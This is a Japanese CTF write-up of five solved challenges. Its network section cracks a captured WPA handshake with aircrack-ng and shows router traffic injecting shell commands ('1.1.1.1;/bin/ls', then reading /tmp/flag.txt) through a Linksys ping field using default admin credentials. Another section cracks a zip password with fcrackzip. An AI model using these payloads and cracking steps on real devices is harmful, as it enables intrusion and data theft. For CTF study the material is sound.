ADDA CTF Writeup

この大会は2022/9/10 15:00(JST)~2022/9/11 15:00(JST)に開催されました。
今回もチームで参戦。結果は620点で166チーム中50位でした。
自分で解けた問題をWriteupとして書いておきます。

Signals From Space (Hardware 80)

sstvでデコードしてみる。

$ sstv -d signal_from_space.wav -o flag.png
[sstv] Searching for calibration header... Found!    
[sstv] Detected SSTV mode Martin 2
[sstv] Decoding image...   [#############################################] 100%
[sstv] Drawing image data...
[sstv] ...Done!

出力した画像にフラグが書いてあった。

ctf{0ld_5ch00l_73ch}

passWORDLE (Reverse 80)

スクリプト"./js/passwordle.js"を見てみる。

const targetWords = [
    'password',
    '123456',
    '12345678',
    '1234',
    'qwerty',
    '12345',
    :
    :
    'epson',
    'evangeli',
    'eeeee1',
    'eyphed',
    
]
    :
    :
function randomPassword() {

    const offsetFromDate = new Date(2022, 0, 1)
    const msOffset = Date.now() - offsetFromDate
    const dayOffset = msOffset / 1000 / 60 / 60 / 24
    const res = targetWords[Math.floor(dayOffset)]
    return res;
}
    :
    :

年月日によって、パスワードが決まり、2022/1/1と2022/10/10の日数の差から該当するパスワードを求めることができる。

#!/usr/bin/env python3
import datetime

targetWords = [
    'password',
    '123456',
    '12345678',
    '1234',
    'qwerty',
    '12345',
    :
    :
    'epson',
    'evangeli',
    'eeeee1',
    'eyphed',  
]

dt1 = datetime.datetime(2022, 1, 1)
dt2 = datetime.datetime(2022, 10, 10)
td = (dt2 - dt1).days
password = targetWords[td]
flag = 'ctf{%s}' % password
print(flag)
ctf{united}

The searcher (Web 180)

フラグに使われている文字を入力すると、Resultsにその数が表示される。位置もあっていると、regularにその数が表示される。このことから推測していく。
使われている文字は以下の文字であることがわかる。

BRSTacdefghinort{}

あとは先頭から推測していく。最終的には以下を入力すると、本当のフラグが表示された。

ctf{SearchingToBeRedefined}
You rock. Here is the real Flag ctf{SearchIsMakingLifeEasier}
ctf{SearchIsMakingLifeEasier}

Cat Caffee (Network 100)

pcapの通信データは802.11で、WPAで暗号化されてるようなので、クラックする。

$ aircrack-ng -w dict/rockyou.txt traffic.pcap
Reading packets, please wait...
Opening traffic.pcap
Read 41264 packets.

   #  BSSID              ESSID                     Encryption

   1  00:1E:42:12:D6:A2                            Unknown
   2  00:21:29:77:A3:05  CatCaffee                 WPA (1 handshake)
   3  0C:F4:D5:D5:76:43  Recover.Me-157640         Unknown
   4  50:C7:BF:79:E4:4A                            WPA (0 handshake)
   5  BA:2E:61:13:FD:CD                            WEP (0 IVs)
   6  D4:68:4D:65:F3:93  Recover.Me-25F390         Unknown
   7  D8:97:BA:01:04:AE  dbed26                    Unknown
   8  DA:97:BA:01:04:AF  UniFi                     Unknown
   9  F4:17:B8:CD:66:F7  Rumburak                  Unknown
  10  F4:17:B8:CD:66:FB  Rumburak                  WPA (0 handshake)

Index number of target network ? 2

Reading packets, please wait...
Opening traffic.pcap
Read 41264 packets.

1 potential targets


                               Aircrack-ng 1.6 

      [00:35:26] 10532772/14344392 keys tested (4892.84 k/s) 

      Time left: 12 minutes, 59 seconds                         73.43%

                          KEY FOUND! [ THUNDERCATS ]


      Master Key     : D8 FE 43 A0 2E AF 31 BE 52 AC CA ED BE 15 51 96 
                       66 DE EC 25 78 49 2A 1E 72 EE 1D D1 6A B0 CF DB 

      Transient Key  : 02 D1 B6 10 D1 5C 94 8E 5D D2 81 AF 00 D4 75 29 
                       7C 33 CB 12 33 88 CD 6E 10 BB 7B 39 D9 A0 D4 C1 
                       30 32 7F 8B 46 56 8E B0 71 0B CB 6A 15 C0 ED 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

      EAPOL HMAC     : 73 2E CB C8 7B 0B 20 E3 A6 E6 19 32 FF 42 83 DE

Wiresharkで、[設定]>[Protocols]>[IEEE 802.11]の画面の「編集」から以下の設定を行い、通信の復号を行う。

Key type: wpa-pwd
Key: THUNDERCATS

httpでフィルタリングすると、途中コマンドインジェクションと思われる通信がある。No.16208のパケットを含むHTTPストリームはこうなっている。

GET /setup.cgi?ping_ipaddr1=1&ping_ipaddr2=1&ping_ipaddr3=1&ping_ipaddr4=1&ping_size=60&ping_number=1&ping_interval=1000&ping_timeout=5000&start=Start+Test&todo=ping_test&this_file=Diagnostics.htm&next_file=Diagnostics.htm&c4_ping_ipaddr=1.1.1.1;/bin/ls HTTP/1.1
Host: 192.168.1.1
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.1/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

HTTP/1.0 200 OK
sh: cannot create 1: Unknown error 30
killall: pingmultilang: no process killed
killall: 2: no process killed
ARARPTable.htm
AccessRes.htm
Administration.htm
AdvancedWSettings.htm
AppGaming.htm
Backup.htm
DHCPClientTable.htm
DMZ.htm
DSL_status.htm
Diagnostics.htm
EditList.htm
Factorydefaults.htm
FirmwareUpgrade.htm
HNAP1
LANG_BP.js
LANG_DE.js
LANG_EN.js
LANG_FR.js
LANG_GR.js
LANG_IT.js
LANG_NL.js
LANG_PO.js
LANG_RU.js
LANG_TR.js
Language.htm
LocalNetwork.htm
Log.htm
Ping.htm
PortRangeTriggering.htm
QoS.htm
Routercfg.cfg
Routing_Table.htm
Security.htm
Setup.htm
Setup_DDNS.htm
Setup_MAC.htm
Setup_routing.htm
SingleForwarding.htm
Status.htm
Summary.htm
UI_02.gif
UI_03.gif
UI_03_ar.gif
UI_04.gif
UI_04_ar.gif
UI_05.gif
UI_06.gif
UI_07.gif
UI_10.gif
UI_11.gif
UI_12.gif
UI_13.gif
UI_Cisco.gif
UI_Linksys.gif
VPNPassthrough.htm
WClientMACList.htm
WMACFilter.htm
WNetwork.htm
WPS.htm
WSC.htm
WSecurity.htm
Wireless.htm
Wireless_wifi.htm
adsl_driver.htm
ajax.js
cgi_lang.bp
cgi_lang.de
cgi_lang.en
cgi_lang.fr
cgi_lang.gr
cgi_lang.it
cgi_lang.nl
cgi_lang.po
cgi_lang.ru
cgi_lang.tr
cisco_bp.css
cisco_de.css
cisco_en.css
cisco_fr.css
cisco_gr.css
cisco_it.css
cisco_nl.css
cisco_po.css
cisco_ru.css
cisco_tr.css
err_msg
err_msg.bp
err_msg.de
err_msg.en
err_msg.fr
err_msg.gr
err_msg.it
err_msg.nl
err_msg.po
err_msg.ru
err_msg.tr
func.js
fw_version.pat
gen_page
help
help_bp.css
help_bp.js
help_de.css
help_de.js
help_en.css
help_en.js
help_fr.css
help_fr.js
help_gr.css
help_gr.js
help_it.css
help_it.js
help_nl.css
help_nl.js
help_po.css
help_po.js
help_ru.css
help_ru.js
help_tr.css
help_tr.js
index.htm
lh_bg.gif
lh_cisco.gif
linux.js
log_data.htm
others_de.js
others_en.js
others_fr.js
ppp_log
reboot_guage.htm
restore_config.cgi
rh_bg.gif
rh_cisco.gif
set_vpn.js
setup.cgi
upgrade_flash.cgi
upload_lang.cgi
utility.js
wps_mouseover.gif
wps_nonselectable.gif
wps_selectable.gif
Content-type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">


<meta name="description" content="LINKSYS WAG54G2 Wireless-G ADSL Home Gateway">

<META http-equiv="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache">
<script language="javascript" type="text/javascript" src="LANG_EN.js"></script>
<script language="javascript" type="text/javascript" src="others_en.js"></script>
<script language="javascript" type="text/javascript" src="func.js"></script>

<script language="javascript" type="text/javascript" src="linux.js"></script>
<script language="javascript" type="text/javascript">
strHtml='<title>'+vdiag+'</title>';
dw(rmTitleBr(strHtml));
strHtml='<LINK REL="stylesheet" TYPE="text/css" HREF="'+vcss_type+'">';
dw(strHtml);

<!-- hide script from old browsers

function checkData2(action)
{
    var cf = document.forms[0];
	var msg = "";
	
	if( action != "save")
	    if( blankIP(cf.ping_ipaddr1, cf.ping_ipaddr2, cf.ping_ipaddr3, cf.ping_ipaddr4) 
	    || badIP(cf.ping_ipaddr1, cf.ping_ipaddr2, cf.ping_ipaddr3, cf.ping_ipaddr4, 255)
	    || isIPMulticast(cf.ping_ipaddr1.value+"."+cf.ping_ipaddr2.value+"."+cf.ping_ipaddr3.value+"."+cf.ping_ipaddr4.value))
		    msg+= msg_invalid_ip;
	msg+= checkInt(cf.ping_size, msg_ping_size, 60, 1514, true);
	msg+= checkInt(cf.ping_number, msg_ping_number, 1, 100, true);
	msg+= checkInt(cf.ping_interval, msg_ping_interval, 100, 9999, true);
	msg+= checkInt(cf.ping_timeout, msg_ping_timeout, 1000, 9999, true);
	if (msg.length > 1)
	{
		alert(msg);
		return false;
	}
    dataToHidden(cf);
    return true;
}

function doPing()
{
    if (checkData2("ping")){
        openDataSubWin('setup.cgi?next_file=Ping.htm', bigsub);
        return true;
    }
    else
        return false; //no submit
}

function checkData()
{
    var cf = document.forms[0];
    if (checkData2("save")){
        cf.todo.value="save";
        return true;
    }
    else
        return false;
}

//-->
</script>
</head>

<body link="#FFFFFF" vlink="#FFFFFF" alink="#FFFFFF" onload="dataToVisible(document.forms[0])">
<form name="diagnostics" method="POST" action="setup.cgi">
<div align="center">

<table border="0" cellpadding="0" cellspacing="0" width="810" bgcolor="#2971b9">
<script language="javascript" type="text/javascript">
showHead('Wireless ADSL2+ Gateway','WAG54G2','V1.00.10',vadmin);
</script>

<script language="javascript" type="text/javascript">
showMenu(vadmin,admin_diag);
</script>
</table>

<!-- data table--> 


<table border="0" cellpadding="0" cellspacing="0" width="810" bgcolor="#ffffff">
<tr>
 <td width="164" height="15" bgColor="#e7e7e7" colspan="2" align="right"><img border="0" src="UI_03.gif" width="8" height="15"></TD>
 <td width="646" height="14" colspan="2"><img border="0" src="UI_02.gif" width="646" height="15"></TD>

</TR>


<tr>
  <td width="164" height="24" colspan="2" class="bwhead"><script language="javascript" type="text/javascript">
dw(va_ping);
</script></TD>
  <td width="454">&nbsp;  </TD>
  <td width="192" valign="bottom" bgcolor="#2971b9" background="rh_bg.gif">
  &nbsp;&nbsp; <A href="setup.cgi?next_file=help/h_Diagnostics.htm" class="submenu" target="_blank"><script language="javascript" type="text/javascript">
dw(vhelp);
</script></a></TD>


</TR>

<tr>
 <td width="156" bgColor="#e7e7e7" valign="top" class="boldhead"><script language="javascript" type="text/javascript">
dw(va_ping_para);
</script></TD>
 <td width="8" background="UI_04.gif"> </TD>
 <td valign="top">
 <table class="std">
 <tr>
<TD width=101 height=25><script language="javascript" type="text/javascript">
dw(va_ping_ip);
</script></TD>
<TD width=296 height=25>
<input type="text" class="ipnum" maxlength="3" size="4" name="ping_ipaddr1" value=""> .
<input type="text" class="ipnum" maxlength="3" size="4" name="ping_ipaddr2" value=""> .
<input type="text" class="ipnum" maxlength="3" size="4" name="ping_ipaddr3" value=""> .
<input type="text" class="ipnum" maxlength="3" size="4" name="ping_ipaddr4" value=""></TD>
           
</TR>
 <tr>
<TD width=101 height=25><script language="javascript" type="text/javascript">
dw(va_ping_size);
</script></TD>
<TD width=296 height=25>
<input type="text" class="num" maxlength="4" size="4" name="ping_size" value="60">&nbsp;<script language="javascript" type="text/javascript">
dw(vBytes);
</script>
</TD>
           
</TR>
 <tr>
<TD width=101 height=25><script language="javascript" type="text/javascript">
dw(va_ping_num);
</script></TD>
<TD width=296 height=25>
<input type="text" class="num" maxlength="3" size="4" name="ping_number" value="1"> <script language="javascript" type="text/javascript">
dw(va_ping_num_value);
</script>
</TD>
           
</TR>
<tr>
<TD width=101 height=25><script language="javascript" type="text/javascript">
dw(va_ping_interval);
</script></TD>
<TD width=296 height=25>
<input type="text" class="num" maxlength="4" size="5" name="ping_interval" value="1000">&nbsp;<script language="javascript" type="text/javascript">
dw(vmseconds);
</script> 
</TD>

</TR>
<tr>
<TD width=101 height=25><script language="javascript" type="text/javascript">
dw(va_ping_time);
</script></TD>
<TD width=296 height=25>
<input type="text" class="num" maxlength="4" size="5" name="ping_timeout" value="5000">&nbsp;<script language="javascript" type="text/javascript">
dw(vmseconds);
</script> </TD>

</TR>
<tr>
<TD width=101 height=25></TD>
<TD width=296 height=25>
 	<script language="javascript" type="text/javascript">
 	dw('<INPUT type="submit" name="start" value="');
 	dw(va_ping_start);dw('" onClick="return doPing();">');</script>
</TD>
</TR>
<tr>
<TD width=101 height=25><script language="javascript" type="text/javascript">
dw(va_ping_result);
</script></TD>
<TD width=296 height=25><B><script language="javascript" type="text/javascript">
dw(va_ping_result1);
</script>1 <script language="javascript" type="text/javascript">
dw(va_ping_result2);
</script>0 <script language="javascript" type="text/javascript">
dw(va_ping_result3);
</script>0ms 
</b></TD>
           
</TR>
 </table><br>&nbsp;
 </TD>
 <td valign="bottom" rowspan="99" bgcolor="#2971b9" background="rh_bg.gif"><img src="rh_cisco.gif" width="192" height="64" alt="Cisco Logo" border="0"></TD>

</TR>

<tr>
  <td colspan="2" bgcolor="#5b5b5b">&nbsp;  </TD>
  <td class="footer" bgcolor="#2971b9" height="33" align="right">
  <script language="javascript" type="text/javascript">
  showSave();
  </script>
  <script language="javascript" type="text/javascript">
  showCancel("Diagnostics.htm");
  </script>	
  &nbsp;  &nbsp; </TD>
</TR>


</table>

</div>

<input type="hidden" name="todo" value="ping_test">
<input type="hidden" name="this_file" value="Diagnostics.htm">
<input type="hidden" name="next_file" value="Diagnostics.htm">
<input type="hidden" name="c4_ping_ipaddr" value="">
<input type="hidden" name="message" value="">

</form>     
</body>

</html>

この後もコマンドが実行され、その結果を取得している。
/bin/whoami の実行結果は以下の通り。

sh: /bin/whoami: not found

/bin/ls /tmp の実行結果は以下の通り。

acl.conf
cmd_agent
dsl_status
etc
flag.txt
gateway.xml
gateways
hnap_devready
htpasswd
lan_uptime
mini_httpd
nvram
ping2file_result
rc_cmd_file
server_cmd_path
sroute
syslog.conf
udhcpd.conf
upgrade_flash.cgi
var
wlan_uptime
wlist
www

/bin/cat /tmp/flag.txt の実行結果は以下の通り。

ctf{1_s33_n0_g0d_up_h3r3_0th3r_th4n_m3}
ctf{1_s33_n0_g0d_up_h3r3_0th3r_th4n_m3}

Desert USB (Forensics 180)

添付のzipファイルはパスワードがかかっているので、クラックする。

$ fcrackzip -u -D -p dict/rockyou.txt USBimage.zip 


PASSWORD FOUND!!!!: pw == bingoboi
$ unzip -P bingoboi USBimage.zip 
Archive:  USBimage.zip
   creating: USBimage/
 extracting: USBimage/encrypted_file001  
  inflating: USBimage/USBimage.zip
$ 7z d USBimage.zip 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=ja_JP.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz (A0655),ASM,AES-NI)

Open archive: USBimage.zip
--
Path = USBimage.zip
Type = zip
Physical Size = 226063

Updating archive: USBimage.zip

Items to compress: 0

    
Files read from disk: 0
Archive size: 22 bytes (1 KiB)
Everything is Ok

USBimage.imgをAutopsyで開く。削除されたファイルの中にf0016568.elfというファイルがある。実行すると、flag.txtがencrypted_file002になり、暗号化される。いろいろ暗号化を試してみる。

空 -> jkslficoveaqwciutzrghbncmegwqlirt
a  -> \x0bkslficoveaqwciutzrghbncmegwqlirt
z  -> \x10kslficoveaqwciutzrghbncmegwqlirt
xb -> \x12\x09slficoveaqwciutzrghbncmegwqlirt
>>> chr(ord('a') ^ 0x0b)
'j'
>>> chr(ord('z') ^ 0x10)
'j'
>>> chr(ord('x') ^ 0x12)
'j'
>>> chr(ord('b') ^ 0x09)
'k'

暗号文と平文のXORがjkslficoveaqwciutzrghbncmegwqlirtになると推測できるので、XORでフラグを復号する。

#!/usr/bin/env python3
from Crypto.Util.strxor import strxor

with open('encrypted_file001', 'rb') as f:
    ct = f.read()

key = b'jkslficoveaqwciutzrghbncmegwqlirt'

flag = strxor(key, ct).decode()
print(flag)
ctf{you_could_have_just_paid_me}